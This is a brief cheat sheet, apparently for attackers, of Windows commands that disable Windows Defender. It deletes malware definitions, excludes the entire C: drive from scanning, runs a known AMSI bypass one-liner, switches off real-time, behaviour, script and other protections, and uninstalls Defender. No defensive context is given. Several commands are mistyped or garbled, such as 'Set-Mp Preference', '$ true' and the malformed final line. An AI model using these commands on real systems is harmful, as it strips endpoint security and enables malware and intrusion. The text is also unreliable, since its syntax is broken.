C:\Program Files\Windows Defender\MpCmdRun.exe -RemoveDefinitions -All -Set-Mp Preference -DisableIOAVProtection $true

PowerShell :- Add-Mp Preference -ExeclusionPath "C:/"

"[Ref].Assembly.GetType('System.Management.Automation.Amsiutils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)"

Set-MpPreference -DisableRealtimeMonitoring $ true -DisableAutoExclusions $ true -DisablePrivacyMode $ true -DisableBehaviorMonitoring $ true -DisableIntrusionPreventionSystem $ true -DisableIOAVProtection $ true -DisableScriptScanning $ true -DisableArchiveScanning $ true -DisableCatchupFullScan $ true -DisableCatchupQuickScan $ true -DisableEmailScanning $ true -DisableRemovableDriveScanning $ true -DisableRestorePoint $ true -DisableScannedMappedNetworkDrivesForFullScan $ true -DisableScanningNetworkFiles $ true -DisableBlockAtFirstSeen $ true

 Uninstall-WindowsFeature-Windows-Defender-Name